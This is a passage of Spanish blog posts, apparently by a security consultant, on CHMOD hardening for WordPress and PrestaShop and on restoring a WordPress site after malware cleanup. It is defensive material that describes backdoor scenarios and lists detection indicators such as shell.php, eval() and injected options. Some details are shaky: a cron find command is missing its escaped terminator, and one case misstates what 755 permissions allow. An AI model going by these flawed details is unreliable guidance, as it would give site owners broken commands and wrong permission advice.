    • Deshabilita edición de archivos directa: añade a wp-config.php: define('DISALLOW_FILE_EDIT', true); Esto impide que desde el admin de WordPress edites functions.php o temas, incluso si tienes permisos
    • Whitelist en .htaccess: permite actualizaciones solo desde WordPress.org oficial
    • Audita qué plugins escriben en disco: algunos plugins maliciosos crean carpetas ocultas en wp-content/

    PrestaShop: Permisos CHMOD específicos

    Si usas PrestaShop en lugar de WordPress, los principios son idénticos pero las rutas cambian:

    • Archivos de configuración (config/*): 644
    • Carpetas: 755
    • admin/: 755 (pero considera 750 para limitar otros usuarios)
    • modules/: 755 (módulos de pago deben ser auditados constantemente)
    • cache/: 755 o 775 si generas caché dinámico
    • log/: 755

    PrestaShop es frecuentemente atacado vía módulos de pago comprometidos (OWASP Insecure Deserialization). Los permisos correctos contienen el daño si un módulo es explotado.

    Automatización: Monitoring continuo de permisos

    Un atacante que logra acceso puede cambiar permisos a 777 nuevamente. Por eso recomiendo monitoreo automático:

    Con Wordfence (plugin gratuito):

    • Activa «Advanced Security» → «File Permissions»
    • Se ejecuta cada noche y te alerta si algún archivo tiene permisos inadecuados
    • Puedes establecer que lo corrija automáticamente

    Con WP-CLI en cron (nivel profesional):

    0 3 * * * /usr/bin/find /home/user/public_html -type f -perm 0777 -exec chmod 644 {} ;

    Ejecuta cada madrugada y reestablece permisos. Esto detecta cambios maliciosos.

    Combinando CHMOD con otras capas de seguridad

    Los permisos CHMOD son necesarios pero no suficientes. En mi experiencia profesional, los sitios más seguros combinan:

    1. CHMOD correcto: 644 archivos, 755 carpetas, 600 wp-config.php
    2. SFTP en lugar de FTP: cifra credenciales en tránsito
    3. Autenticación fuerte: contraseña de 20+ caracteres, 2FA, limitar intentos login (máx 5 en 15 min)
    4. Actualizaciones automáticas: siempre activas. Los plugins desactualizados son el vector #1
    5. WAF (Web Application Firewall): Sucuri o Cloudflare bloquean inyecciones antes de tocar tu código
    6. Auditorías regulares: cada 3-6 meses, escanea con MalCare o Wordfence CLI

    CHMOD es la línea de defensa en el servidor. WAF es la línea de defensa en la red. Ambas son imprescindibles.

    Casos reales: Cómo CHMOD hubiera detenido intrusiones

    Caso 1: Backdoor en wp-content/

    Un atacante explota SQL injection en un plugin de formularios, gana acceso de lectura a la BD. Intenta crear wp-content/shell.php. Con wp-content/ en 755, falla. Con 777, se instala un cryptominer que roba CPU de tu servidor.

    Caso 2: Secuestro de funciones.php

    Un tema nulled contiene un backdoor que intenta modificar wp-content/themes/tuTema/functions.php. Con 644, la escritura se rechaza. Con 755, logra inyectar código que redirige tráfico a un sitio falso (phishing).

    Caso 3: Compromiso vía wp-config.php

    Un atacante gana acceso como usuario www-data vía RFI (Remote File Inclusion). Intenta leer wp-config.php para robar credenciales de BD. Con 600, acceso denegado. Con 644, obtiene credenciales y acceso directo a la base de datos.

    Qué hacer si encuentras permisos incorrectos

    Si auditaste tu sitio y encontraste archivos en 777 o 755 incorrecto:

    1. Realiza un escaneo completo de malware: usa MalCare o Wordfence CLI. Los permisos incorrectos sugieren posible intrusión anterior
    2. Revisa logs de acceso del servidor (últimas 2 semanas) para ver qué IPs accedieron
    3. Cambia todas las contraseñas: FTP, SFTP, MySQL, WordPress admin, hosting control panel
    4. Aplica los permisos correctos con el script que mostré arriba
    5. Audita plugins y temas activos: desactiva los que no uses, elimina los nulled
    6. Habilita monitoreo continuo con Wordfence o WP-CLI

    Resumen ejecutivo: Permisos CHMOD que importan

    Elemento Permiso Razón
    wp-config.php 600 Solo propietario accede. Contiene credenciales BD
    Archivos .php (todos) 644 Impide escritura no autorizada de código
    Carpetas generales 755 Legibilidad pero no escritura desde otros usuarios
    wp-content/uploads/ 775 Servidor web carga medios, pero grupo limitado

    Próximos pasos: Auditoría profesional

    Los permisos CHMOD son solo una pieza. Si tu sitio está en producción y almacena datos sensibles (clientes, transacciones, contraseñas), una auditoría de seguridad integral es imprescindible.

    En ManuelFolgar.com realizamos auditorías exhaustivas que incluyen:

    • Análisis de permisos de archivos y carpetas en el contexto de tu arquitectura
    • Escaneo de malware con múltiples motores
    • Revisión de plugins y temas activos vs. vulnerabilidades conocidas
    • Hardening completo: .htaccess, CSP headers, HSTS, 2FA, WAF
    • Plan de monitoreo continuo personalizado

    Contacta conmigo para una auditoría de seguridad de tu WordPress o PrestaShop. Te diré exactamente qué vulnerabilidades tiene tu sitio y cómo priorizarlas.

  • Restaurar funcionalidad WordPress después de limpieza de malware

    Restaurar funcionalidad WordPress después de limpieza de malware

    Restaurar funcionalidad WordPress después de limpieza de malware: guía completa

    Cuando termino una auditoría de seguridad y limpieza de malware en WordPress, el trabajo técnico apenas está en la mitad. La verdadera prueba llega después: verificar que tu sitio funciona exactamente como antes, sin errores, sin plugins que hayan quedado dañados, sin configuraciones rotas. En mi experiencia, esta fase de restauración es donde muchos administradores creen que pueden saltarse pasos, y precisamente ahí es donde los problemas reaparecen.

    Te voy a mostrar el proceso completo y metódico que utilizo para restaurar la funcionalidad total de un WordPress post-limpieza, desde la verificación de la base de datos hasta el testing de cada componente crítico.

    Por qué la restauración funcional es más importante que la limpieza técnica

    El malware no solo deixa archivos maliciosos. También modifica configuraciones, corrompe plugins, inyecta código en funciones.php, rompe hooks, cambia permisos de archivos y deja rastros de infección distribuidos por toda la estructura de tu WordPress.

    Cuando utilizo herramientas como Wordfence CLI o WP-CLI para limpiar, elimino el código malicioso, pero necesito verificar que no haya dejado cicatrices invisibles. Un malware de tipo backdoor puede haber insertado código ofuscado que solo se activa bajo condiciones específicas. Un redirector SEO pudo haber modificado el archivo .htaccess de forma que interfiera con URLs limpias. Un skimmer de tarjetas en PrestaShop quizá comprometió módulos de pago que siguen fallando aunque elimines el código malicioso.

    Paso 1: Restaurar la base de datos WordPress

    Verificación inicial de integridad

    Lo primero que hago es ejecutar un diagnóstico de la base de datos. En WordPress, accedo a través de WP-CLI:

    wp db check

    Este comando detecta corrupción en tablas. Si encuentra errores, reparo:

    wp db repair

    El malware a veces inyecta opciones maliciosas en wp_options, modifica URLs base, inserta usuarios fantasma o crea posts ocultos con contenido spam. Por eso reviso manualmente:

    • La tabla wp_users buscando cuentas administrativas desconocidas o usuarios con privilegios elevados.
    • La tabla wp_options verificando que siteurl y home coincidan con tu dominio legítimo.
    • Entradas en wp_posts con post_content que contenga código JavaScript ofuscado (típico de malware SEO).

    Limpiar opciones contaminadas

    Con frecuencia encuentro opciones inyectadas en wp_options que cargan scripts externos. Accedo a phpMyAdmin o uso WP-CLI:

    wp option list

    Busco opciones sospechosas con nombres como «extra_scripts», «footer_code», «header_inject» o valores que contengan URLs acortadas o dominios de terceros no reconocidos.

    Las elimino así:

    wp option delete nombre_opcion_sospechosa

    También reviso los hooks customizados en funciones.php. El malware los utiliza para cargar código sin dejar archivos visibles:

    grep -r «add_action|add_filter» wp-content/themes/*/functions.php

    Si encuentro llamadas a funciones desconocidas o URLs remotas, las documento y las elimino.

    Paso 2: Validar y reparar archivos del núcleo de WordPress

    Aunque el núcleo de WordPress rara vez se infecta directamente (porque es mayoritariamente de solo lectura), el malware puede haber insertado código en wp-config.php, index.php o .htaccess.

    Verificar integridad del núcleo

    Uso Wordfence CLI para un escaneo completo:

    wordfence scan –all

    También puedo usar WP-CLI para validar checksum de archivos core:

    wp core verify-checksums

    Si encuentra archivos modificados, reinstalo el núcleo sin perder datos:

    wp core download –force

    Esto descarga la versión exacta de WordPress que tienes instalada y sobrescribe archivos comprometidos, preservando wp-config.php y wp-content.

    Restaurar .htaccess limpio

    El .htaccess es un vector frecuente de infección. Los malware SEO insertan redirecciones, reglas de reescritura que te redirigen a sitios spam, o bloquean acceso a wp-admin si vienes desde IPs específicas.

    Respalda el actual y regenera:

    wp rewrite flush

    Esto reconstruye las reglas de reescritura desde cero en Settings → Permalinks. Si tienes reglas custom, añádelas después manualmente.

    Si aún ves problemas de redirección, edita .htaccess manualmente y elimina cualquier línea que no reconozcas, especialmente RewriteCond con patrones como bot|crawler|scanner.

    Paso 3: Auditar y restaurar plugins y temas

    Detectar plugins comprometidos

    Los plugins son el talón de Aquiles. El malware explota vulnerabilidades de plugins desactualizados, inyecta código en archivos de plugin, o reemplaza plugins legítimos con versiones nulled que incluyen backdoors.

    En mi proceso verifico:

    1. Integridad de archivos: comparo el checksum del plugin instalado con la versión oficial de wordpress.org. Si no coincide, el plugin está modificado.
    2. Versión y actualizaciones: cualquier plugin con versión desactualizada es sospechoso post-infección. Los actualizo aunque no haya vulnerabilidad reportada, porque el malware pudo haber estado esperando una vulnerabilidad futura.
    3. Archivos no autorizados: reviso la carpeta de cada plugin buscando archivos .php con nombres raros o ofuscados. Un plugin legítimo no tiene archivos como «a.php», «shell.php» o código eval().

    Desactivo y elimino:

    wp plugin delete nombre-plugin –allow-root

    Luego lo reinstalo desde el repositorio oficial:

    wp plugin install nombre-plugin –activate

    Restaurar tema limpio

    Los temas nulled (pirateados) son bombas de malware. Si tu sitio está comprometido y usas un tema descargado de un sitio no oficial, ese es probablemente el punto de entrada.

    Mi recomendación:

    • Cambia temporalmente a un tema oficial (Twenty Twenty-Three, por ejemplo).
    • Realiza un escaneo completo con el tema neutral activo.
    • Si todo funciona limpio, recupera tu tema original de un backup anterior a la infección, o compra la versión legítima.
    • Nunca descargues temas premium de sitios como nulled.cc, themeforest resellers o análogos. Son veneno garantizado.

    Paso 4: Reconstruir funcionalidad de formularios y transacciones

    Formularios de contacto (Contact Form 7, WPForms)

    El malware a menudo intercepta formularios desviando emails a direcciones de atacante o capturando datos de forma silenciosa. Después de limpiar:

    • Desactivo y elimino completamente el plugin de formularios.
    • Limpio la base de datos de cualquier entrada de formulario sospechosa (logs de contactos dirigidos a emails desconocidos).
    • Reinstalo el plugin de cero desde el repositorio oficial.
    • Recrío todos los formularios y compruebo que los emails se envían a direcciones legítimas.

    Pruebo con un envío de prueba a mi email y verifico que no hay redirecciones ocultas.

    Pasarelas de pago (WooCommerce, PrestaShop)

    Este es crítico. Un malware tipo skimmer (Magecart) puede haber persistido en el código de la pasarela de pago.

    Para WooCommerce:

    1. Desactivo todas las extensiones de pago.
    2. Escaneo wp-content/plugins/woocommerce/includes buscando código ofuscado o llamadas a dominios de terceros.
    3. Reinstalo WooCommerce limpio: wp plugin install woocommerce –activate
    4. Reconfigurar cada pasarela desde cero (Stripe, PayPal, etc.).
    5. Pruebo una transacción de prueba en un carrito sandbox.

    En PrestaShop, el proceso es similar pero más delicado porque los módulos de pago están en /modules. Si sospechas que un módulo de pago está comprometido:

    • Desactívalo en Back Office.
    • Elimina su carpeta completamente de /modules/.
    • Reinstala el módulo oficial desde la Marketplace de PrestaShop.

    Paso 5: Testear flujos de usuario críticos

    Checklist funcional post-limpieza

    No doy por finalizada la restauración hasta que verifico:

    • Login de usuarios: accedo como usuario normal y admin. Verifico que 2FA funciona si está activado.
    • Publicación de posts: creo un post, asigno categorías, publico, edito. Compruebo que el editor visual y código funcionan.
    • URLs y redirecciones: navego entre páginas, compruebo que las URLs limpias funcionan (si tienes estructura custom).
    • Búsqueda: busco un post antiguo, verifico que los resultados son correctos sin redirecciones.
    • Widgets y sidebars: confirmo que aparecen en frontend, sin errores JavaScript en la consola.
    • Comentarios: publico un comentario, verifico que la moderación funciona, que los emails de notificación se envían.
    • Carrito y checkout (ecommerce): añado productos, intento comprar con tarjeta de prueba, valido que no hay cambios de dominio ni redirecciones.

    Auditoría de navegador y consola

    Abro la consola de desarrollador (F12) en la página de inicio y en checkout (si aplica). Busco:

    • Errores JavaScript rojo: podrían indicar código malicioso no limpiado.
    • Llamadas a dominios externos sospechosos en la pestaña Network.
    • Scripts inyectados en el HTML que no reconozco.

    Si ves algo sospechoso, investiga su origen. A menudo el malware carga código desde un CDN comprometido o inyecta URLs en atributos data-* de elementos HTML.

    Paso 6: Fortalecer contra reinfección

    Una vez que la funcionalidad está restaurada, es momento de cerrar las puertas para que no entre de nuevo.

    Hardening fundamental

    • Desactiva edición de archivos: añade a wp-config.php define(‘DISALLOW_FILE_EDIT’, true);
    • Cambiar prefijo de tablas: si tienes acceso directo a BD, modifica de wp_ a algo como wp_xyz.
    • Proteger wp-admin: mediante .htaccess con autenticación HTTP básica o IP whitelist.
    • Limitar intentos de login: usa un plugin como Wordfence o Limit Login Attempts Reloaded para bloquear brute force.
    • Activar 2FA: fuerza autenticación de dos factores en todas las cuentas administrativas.
    • Cambiar todas las contraseñas: de WordPress, FTP, cPanel, base de datos.

    Monitoreo continuo

    No basta una limpieza de una sola vez. El malware es persistente. Instalo Wordfence en modo profesional o MalCare con escaneo automático diario, alertas en tiempo real y backups incrementales.

    Configuro notificaciones para:

    • Nuevos usuarios creados.
    • Cambios en plugins/temas.
    • Modificaciones en wp-config.php.
    • Intentos de acceso a wp-admin desde IPs no autorizadas.

    Paso 7: Validar SEO y reputación

    El malware SEO inyecta contenido spam y crea redireccionamientos que dañan tu reputación en motores de búsqueda. Después de limpiar:

    Google Search Console

    Accedo a Google Search Console y busco:

    • Reportes de seguridad: si Google seguía detectando malware, debería desaparecer en 48-72 horas post-limpieza.
    • URLs no deseadas: páginas spammadas que necesito eliminar del índice.
    • Problemas de cobertura: errores 404 o 500 que podrían indicar problemas residuales.

    Solicito una revisión de seguridad si Google había marcado el sitio como comprometido.

    Verificar backlinks tóxicos

    El malware a veces inyecta enlaces internos spam o genera backlinks desde sitios de baja calidad. Reviso con herramientas como Ahrefs o SEMrush y desapruebo enlaces claramente maliciosos a través de Google Search Console.

    Paso 8: Documentar y comunicar

    Cuando termino una restauración completa, preparo un informe para el cliente detallando:

    • Qué malware se encontró y dónde.
    • Qué cambios se realizaron en configuración, plugins y archivos.
    • Qué funcionalidad se verificó y restauró.
    • Recomendaciones de seguridad para el futuro.
    • Fecha de próximo escaneo recomendado.

    Esta transparencia no solo tranquiliza al cliente, sino que establece expectativas claras sobre el mantenimiento de seguridad continuo que necesita.

    Señales de alerta: cuándo la limpieza no fue suficiente

    Si después de restauración sigues viendo síntomas, el malware puede no haber sido completamente erradicado:

    • Redirecciones espontáneas a sitios de apuestas, farmácias o casinos.
    • Nuevos usuarios admin que aparecen solos.
    • Velocidad extremadamente lenta sin explicación (cryptominer).
    • Google sigue alertando de malware en Search Console días después de limpieza.
    • Emails spam llegando desde tu dominio a terceros (compromiso de correo o alias).

    En estos casos, necesitas una limpieza más profunda, análisis forense o consultoría especializada. Te invito a que contactes conmigo si necesitas ayuda profesional en esta etapa.

    Resumen de restauración funcional post-malware

    La restauración de WordPress después de limpieza de malware no es un único paso, sino un proceso metódico de:

    1. Verificación y reparación de base de datos.
    2. Validación de integridad del núcleo y archivos.
    3. Auditoría y reinstalación de plugins/temas.
    4. Reconstrucción de funcionalidad transaccional.
    5. Testing exhaustivo de flujos de usuario.
    6. Hardening de seguridad.
    7. Validación SEO y reputación.
    8. Documentación y monitoreo continuo.

    En mi experiencia, saltarse cualquiera de estos pasos deja puertas abiertas a reinfección o deja funcionalidad crítica rota.

    Si tu sitio ha sufrido una infección por malware y necesitas restaurar la confianza de que está completamente limpio y funcional, contacta conmigo para un análisis profesional. Realizaré una auditoría completa, te limpiaré el código malicioso y verificaré que cada función crítica está restaurada y protegida contra futuros ataques.